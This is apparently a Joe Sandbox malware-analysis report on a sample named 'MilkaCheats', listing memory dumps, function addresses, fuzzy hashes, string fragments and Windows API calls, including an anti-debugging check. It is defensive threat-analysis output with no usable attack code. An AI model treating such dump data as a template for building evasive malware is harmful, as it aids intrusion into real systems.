Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID: lcw|<a$o~{q$w|<a${{up
API String ID: 0-3972657743
Opcode ID: ee1d4c4be59772c9dc4ba5ef2cc83ec8845917b8600013c03d7c0a4548024979
Instruction ID: 05e46a85f6f71d5bac69d3b7b7b182a6825350390a5d4fc126ec06cd51a07652
Opcode Fuzzy Hash: ee1d4c4be59772c9dc4ba5ef2cc83ec8845917b8600013c03d7c0a4548024979
Instruction Fuzzy Hash: ABA17A716047428FE7298F64C8807A2FBE2FF65314F28866DD8A60B7D2D335E846C791

Function 001154F7 Relevance: 5.1, Strings: 4, Instructions: 72COMMON

Download Yara Rule

Strings

3768, xrefs: 00115567
~x||, xrefs: 001154FF
i7b0, xrefs: 0011555F
:?-), xrefs: 0011556F

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID: 3768$:?-)$i7b0$~x||
API String ID: 0-4241966085
Opcode ID: 5710efa4951a73522a1cd609604e5c6ba47521d46e43b5ec33226a688e5db37e
Instruction ID: f1a86c42a3739d65a2815bc074c23511cca905313e54b739e296ac7ec952e331
Opcode Fuzzy Hash: 5710efa4951a73522a1cd609604e5c6ba47521d46e43b5ec33226a688e5db37e
Instruction Fuzzy Hash: 822178B460D3808BD3648F29949025BBFE2ABD2324F644A2DF0E14B394D3798486CF07

Function 000DDF54 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 000D4200: GetLastError.KERNEL32(?,00000008,000D9825,00000000,000CB670), ref: 000D4204
Part of subcall function 000D4200: SetLastError.KERNEL32(00000000,00000005,000000FF), ref: 000D42A6

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 000DDFA8
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 000DDFF2
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 000DE0B8

Memory Dump Source

Source File: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: f1fdc1bd936ddaa8de4a38de7db1f1d7ce3f4854a81bf81d83ce231182c28ba2
Instruction ID: 46538fe474f9652df572cb245f90a0ccebcba77ec9ac9794bd6915362ce634e6
Opcode Fuzzy Hash: f1fdc1bd936ddaa8de4a38de7db1f1d7ce3f4854a81bf81d83ce231182c28ba2
Instruction Fuzzy Hash: 4761A375A10347AFEB64AF24CC82BBA77E8EF04300F14417AE915CA385E774E995CB60

Function 000CB4F3 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 000CB5EB
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 000CB5F5
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 000CB602

Memory Dump Source

Source File: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 4fafd887d82510f826443e65c1f7c70a03995d1419e714cc0c077d1657b2d84c
Instruction ID: 3b40cfa9f2b610c07a7b626e4d1422f3a5c26505efad7e3c875d138824c2a744
Opcode Fuzzy Hash: 4fafd887d82510f826443e65c1f7c70a03995d1419e714cc0c077d1657b2d84c
Instruction Fuzzy Hash: D931C5759012289BCB61DF68DD89BCCBBB8BF08710F5041EAE50CA7251EB749F858F45

Function 001313C0 Relevance: 4.2, Strings: 3, Instructions: 436COMMON

Download Yara Rule

Strings

P, xrefs: 00131571
%*+(, xrefs: 001316E7
InA>, xrefs: 00131750

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID: %*+($InA>$P
API String ID: 0-1283304554
Opcode ID: 69c79a69b68684340418c6de6c15f7cefbd510847b5e62cf76ade11209e71bc7
Instruction ID: d56f0d100e75be20df71cd939511cc4fb01e54f0c720f5c513da00c335289c75
Opcode Fuzzy Hash: 69c79a69b68684340418c6de6c15f7cefbd510847b5e62cf76ade11209e71bc7
Instruction Fuzzy Hash: 8EE107725083648FD325CF28985076FBBE1EBC5714F158A2CE9A99B391CB74D906CBC2

Function 000EF738 Relevance: 4.1, Strings: 3, Instructions: 387COMMON

Download Yara Rule

Strings

gfff, xrefs: 000F032F
-, xrefs: 000F02F7
gfff, xrefs: 000F0393

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID: -$gfff$gfff
API String ID: 0-837351935
Opcode ID: d4127b2774f59aa8715d81dbccfbb22cbe20e6c1cd757104035fa32d46f19a6e
Instruction ID: 62ff869091370c397b4fb060e81e1f8ab08820eb4742a2230df92582868f1c4e
Opcode Fuzzy Hash: d4127b2774f59aa8715d81dbccfbb22cbe20e6c1cd757104035fa32d46f19a6e
Instruction Fuzzy Hash: 94E1C07160C3968FC715CF29C48026AFFE1AFD9304F088A6DE9D997392D234D949DB52

Function 0011DB4A Relevance: 4.1, Strings: 3, Instructions: 323COMMON

Download Yara Rule

Strings

40,G, xrefs: 0011F507
"MO, xrefs: 0011F5B5
L]IN, xrefs: 0011F37A

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID: "MO$40,G$L]IN
API String ID: 0-2812748645
Opcode ID: 4f1db071aef4295662c013afa0dc9ca3fed0ae4f3ff53a7c54eade7df3650f13
Instruction ID: 357b751a5244f858f420f21ee8c5388745614c9477c0208beaab716827a066ef
Opcode Fuzzy Hash: 4f1db071aef4295662c013afa0dc9ca3fed0ae4f3ff53a7c54eade7df3650f13
Instruction Fuzzy Hash: E4A104705047818BD329CF29C490762BBE2BF96314F288AADD4E68BB56C375E846CB50

Function 0010F5C8 Relevance: 4.1, Strings: 3, Instructions: 311COMMON

Download Yara Rule

Strings

[Y, xrefs: 0010F7CB
DE, xrefs: 0010F751
j, xrefs: 0010F7A0

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID: DE$[Y$j
API String ID: 0-2398809664
Opcode ID: 3195f798ee7a60e65a6da30117195d18f93f3a46813107e3d2f9de05ccdc6560
Instruction ID: f466fb6de07c5baf61ccd92a4898a56a9fb37119da90d3c8fb6c7b80e948e3d0
Opcode Fuzzy Hash: 3195f798ee7a60e65a6da30117195d18f93f3a46813107e3d2f9de05ccdc6560
Instruction Fuzzy Hash: A791CDB651D3508BC314CF25C89125BBBE2FFD5318F19892CE4D84B791E3B58909CB96

Function 0011ECA6 Relevance: 4.0, Strings: 3, Instructions: 291COMMON

Download Yara Rule

Strings

40,G, xrefs: 0011F507
"MO, xrefs: 0011F5B5
L]IN, xrefs: 0011F37A

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID: "MO$40,G$L]IN
API String ID: 0-2812748645
Opcode ID: 247fc5e750414c71ecc7bf8a2d624936bbbcfbf24d0cf7726668f12528fce844
Instruction ID: b48714b760911ec2a50eb0053472aa7024cea6f458267a8f853865e3de123e73
Opcode Fuzzy Hash: 247fc5e750414c71ecc7bf8a2d624936bbbcfbf24d0cf7726668f12528fce844
Instruction Fuzzy Hash: 4B8104B15047818FD325CF2AC490762BBE2BF96304F2885ADD4EA4F746C3759447CBA1

Function 0011EC6A Relevance: 4.0, Strings: 3, Instructions: 288COMMON

Download Yara Rule

Strings

40,G, xrefs: 0011F507
"MO, xrefs: 0011F5B5
L]IN, xrefs: 0011F37A

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID: "MO$40,G$L]IN
API String ID: 0-2812748645
Opcode ID: ec70a32ffddd1b3cb99e7deab79c47f689cc4c32e37e9b6c9503c84adadaa294
Instruction ID: 7fb804796739e409c2011b26963aba020c9d35702a273410cf5f9ad5b70b7c7c
Opcode Fuzzy Hash: ec70a32ffddd1b3cb99e7deab79c47f689cc4c32e37e9b6c9503c84adadaa294
Instruction Fuzzy Hash: D881F3B15047818FD325CF2AC490762BBE2BF96304F2886ADD4E64F756C379A447CBA1

Function 000FCA12 Relevance: 3.8, Strings: 3, Instructions: 77COMMON

Download Yara Rule

Strings

n|of, xrefs: 000FCAB7
txLL, xrefs: 000FCAA7
Ehrd, xrefs: 000FCA9F

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID: Ehrd$n|of$txLL
API String ID: 0-1271805156
Opcode ID: 5fd7a7faba47377d064207015be6ba4ced17ca23ba9f116e194c90821bd06350
Instruction ID: 2eafb8f9f217e2a20e298c7bccfc05103bd522bee07e6f155cb56ada1f2e78e3
Opcode Fuzzy Hash: 5fd7a7faba47377d064207015be6ba4ced17ca23ba9f116e194c90821bd06350
Instruction Fuzzy Hash: 2D31BF7410C3848FD3508F1596E266FBFE1EB82B50F28096CE0D69B711C339CA0A9F96

Function 000D0470 Relevance: 3.4, APIs: 2, Instructions: 449COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 276b97fbd984da2656be2fafbcceb2476177e29d667066f5566847cfd156f8c7
Instruction ID: 62dd5e5e0b48d7808f7f0ac974c389bdf67b7794094eeb393178b94719b4fccf
Opcode Fuzzy Hash: 276b97fbd984da2656be2fafbcceb2476177e29d667066f5566847cfd156f8c7
Instruction Fuzzy Hash: CBF12C71E012199FDF14CF69D880BAEB7F1FF88314F15826AE819AB381D731A9458F94

Function 00110930 Relevance: 3.2, Strings: 2, Instructions: 672COMMON

Download Yara Rule

Strings

c], xrefs: 00110947
$96w, xrefs: 00110B40

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID: $96w$c]
API String ID: 0-247510824
Opcode ID: de7722bf3c73c5b83954ba33a282ced62fba462950f44f3f88abc5f38a6182ab
Instruction ID: 06e3f9c68ac5a955f60a19fb18d6ad5edb05c2f56d617e9596b43b46188f232c
Opcode Fuzzy Hash: de7722bf3c73c5b83954ba33a282ced62fba462950f44f3f88abc5f38a6182ab
Instruction Fuzzy Hash: 5B22C0756083419BD728CF24D881BAFB7E2EBD8714F15893CF68987291D771E881CB92

Function 001114F0 Relevance: 3.0, Strings: 2, Instructions: 455COMMON

Download Yara Rule

Strings

c, xrefs: 00111960
`, xrefs: 00111536

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID: `$c
API String ID: 0-1220095849
Opcode ID: 5c608a1e2e721dabdcaeeddb8a4bb7f1cc7d9f0b7b683d9c8b8af8142caded02
Instruction ID: d6df85fbac8cfff1b2b33659c9d4e842e9160eb7cfdd4ade90b64e15b2356aee
Opcode Fuzzy Hash: 5c608a1e2e721dabdcaeeddb8a4bb7f1cc7d9f0b7b683d9c8b8af8142caded02
Instruction Fuzzy Hash: 20D1E271A08340ABD7059F24E842AEFBBE9DBD6310F19882CF98497242D775DC49DB93

Function 00130B10 Relevance: 2.8, Strings: 2, Instructions: 347COMMON

Download Yara Rule

Strings

%*+(, xrefs: 00130CD7
%*+(, xrefs: 00130B47

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID: %*+($%*+(
API String ID: 0-3039692684
Opcode ID: 3edc26f54fc6f96b6ac74da4b34a405f423cdfc7cfe90740567c3347860ca026
Instruction ID: 44789c02e2e7d0d1226e767c2045b81580b18e5bc0f483827717c83eae5518b6
Opcode Fuzzy Hash: 3edc26f54fc6f96b6ac74da4b34a405f423cdfc7cfe90740567c3347860ca026
Instruction Fuzzy Hash: 3AA137357083109BD729CB68DC91BABB7E1EB8C314F14893DE985D7292EB34E940C792

Function 000F8026 Relevance: 2.6, Strings: 2, Instructions: 85COMMON

Download Yara Rule

Strings

8, xrefs: 000F8085
0, xrefs: 000F808D

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID: 0$8
API String ID: 0-46163386
Opcode ID: 838afa22ea1f7ffa5fe9ba21136936bdf1f17e628c4be68406256da8559593a0
Instruction ID: 59a405dd1b0cd974e97d72f778238365ab1aca3e8b068c1f4b250f498252b91a
Opcode Fuzzy Hash: 838afa22ea1f7ffa5fe9ba21136936bdf1f17e628c4be68406256da8559593a0
Instruction Fuzzy Hash: 6D31D23660D3858FD311CA68C48469FFBE2AFEA354F48895DE4C497352CA74D909CB92

Function 000D4E13 Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,000D4E0E,?,?,00000008,?,?,000E34B0,00000000), ref: 000D5040

Memory Dump Source

Source File: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 04a000fc70ec7f43c0a48e8d1629af448c8a7cac089f5fcd09365eae28d3b36c
Instruction ID: 7ead9330d6fb5ec56e4a6d3c759753f9001993e926bbd0a90d29f76798125fe5
Opcode Fuzzy Hash: 04a000fc70ec7f43c0a48e8d1629af448c8a7cac089f5fcd09365eae28d3b36c
Instruction Fuzzy Hash: E4B118312107099FD764CF28C886B657BE0FF45365F258669E89ACF3A1C335E992CB50

Function 000C710C Relevance: 1.7, APIs: 1, Instructions: 242COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 000C7122

Memory Dump Source

Source File: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 66aae7a4e08a64924d830ea6fb66003aa4519b8716cda559b830e14b342d4b28
Instruction ID: 7a2511586779ab2f177e035dfc800e4b97caa53f08644d4a0ae91fc385ddd6e8
Opcode Fuzzy Hash: 66aae7a4e08a64924d830ea6fb66003aa4519b8716cda559b830e14b342d4b28
Instruction Fuzzy Hash: 3CA19D759156059FDB18CF58D882BADBBF6FB49320F29812ED819E7A60C3B499C0CF50

Function 0011DDE0 Relevance: 1.7, Strings: 1, Instructions: 490COMMON

Download Yara Rule

Strings

' SZ, xrefs: 0011DE16

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID: ' SZ
API String ID: 0-1053079558
Opcode ID: 1a562f3a46396350bca214a8895319665ebac12cd9b8ea38f6bb1bd7357b19e8
Instruction ID: 589e5e406e04f8c79e388b5dcdbbd52b3defe9622ae69a21ee86274ad62b5415
Opcode Fuzzy Hash: 1a562f3a46396350bca214a8895319665ebac12cd9b8ea38f6bb1bd7357b19e8
Instruction Fuzzy Hash: 64E128302047828FD7298B39C4907A2BBE2AFA7314F1985ACD4D64F7D6C779A846CB51

Function 00114D50 Relevance: 1.7, Strings: 1, Instructions: 480COMMON

Download Yara Rule

Strings

Y!, xrefs: 00114F00

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

